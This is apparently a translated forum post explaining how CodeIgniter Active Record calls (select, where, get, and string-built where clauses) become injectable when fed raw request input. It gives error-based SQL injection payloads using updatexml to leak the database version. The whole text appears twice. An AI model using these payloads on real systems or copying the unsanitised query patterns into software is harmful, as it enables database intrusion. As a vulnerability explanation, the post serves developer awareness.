Codeigniter 活动记录 SQL 注入
Codeigniter Active record SQL injection
下面的查询容易受到 SQL 注入的攻击,其中 $evilInput 来自 get/post 请求。
$this->db->select($evilInput);
$this->db->where($evilInput2 ,"abc");
$query = $this->db->get($evilInput3);
$count = $query->num_rows();
和
$this->db->where("a=$evilInput");
我想指出,所有这些都容易受到 SQL 在默认安装的 CodeIgniter 上注入的攻击。以下结果已经过测试和验证。
1) $this->db->select($evilInput)
此处输入在 select
关键字之后。
select evilInput from table_name where column_name = 1;
在这里,如果我的邪恶输入参数包含类似:
updatexml(null,concat(0x3a,version()),null)-- -
实际查询会变成:
select updatexml(null,concat(0x3a,version()),null)-- - from table_name where column_name = 1;
2) $this->db->where($evilInput ,"abc")
此处输入到 WHERE
子句后的列名。
select * from table_name where evilInput = 1;
CodeIgniter 不会转义或过滤此输入。这可以很容易地被利用,例如:
1=1 and updatexml(null,concat(0x3a,version()),null)-- -
3) $query = $this->db->get($evilInput3)
此处输入 table 名称。
select * from evilInput where column_name = 1;
如果用户输入类似于:
,CodeIgniter 将不会阻止 SQL 注入
information_schema.tables where 1=1 and updatexml(null,concat(0x3a,version()),null)-- -
4) $this->db->where("a=$evilInput")
这容易受到简单 SQL 注入的攻击,因为输入直接连接到 SQL 查询。
下面的查询容易受到 SQL 注入的攻击,其中 $evilInput 来自 get/post 请求。
$this->db->select($evilInput);
$this->db->where($evilInput2 ,"abc");
$query = $this->db->get($evilInput3);
$count = $query->num_rows();
和
$this->db->where("a=$evilInput");
我想指出,所有这些都容易受到 SQL 在默认安装的 CodeIgniter 上注入的攻击。以下结果已经过测试和验证。
1) $this->db->select($evilInput)
此处输入在 select
关键字之后。
select evilInput from table_name where column_name = 1;
在这里,如果我的邪恶输入参数包含类似:
updatexml(null,concat(0x3a,version()),null)-- -
实际查询会变成:
select updatexml(null,concat(0x3a,version()),null)-- - from table_name where column_name = 1;
2) $this->db->where($evilInput ,"abc")
此处输入到 WHERE
子句后的列名。
select * from table_name where evilInput = 1;
CodeIgniter 不会转义或过滤此输入。这可以很容易地被利用,例如:
1=1 and updatexml(null,concat(0x3a,version()),null)-- -
3) $query = $this->db->get($evilInput3)
此处输入 table 名称。
select * from evilInput where column_name = 1;
如果用户输入类似于:
,CodeIgniter 将不会阻止 SQL 注入information_schema.tables where 1=1 and updatexml(null,concat(0x3a,version()),null)-- -
4) $this->db->where("a=$evilInput")
这容易受到简单 SQL 注入的攻击,因为输入直接连接到 SQL 查询。